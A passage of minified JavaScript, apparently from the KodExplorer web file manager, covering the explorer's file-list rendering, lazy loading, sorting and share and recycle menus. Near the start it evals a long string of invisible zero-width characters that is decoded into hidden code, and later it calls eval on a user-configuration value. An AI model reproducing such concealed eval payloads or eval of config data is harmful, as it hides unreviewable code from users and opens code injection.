pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+i+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(i+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(t).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") -}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");i.can_upload=!0,(void 0!=a&&"writeable"!=a||t==G.KOD_GROUP_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_USER_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_GROUP_PATH&&"guest"==i.role&&1!=G.is_root||t==G.KOD_USER_FAV||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF)&&(i.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==t&&($(".path_tips 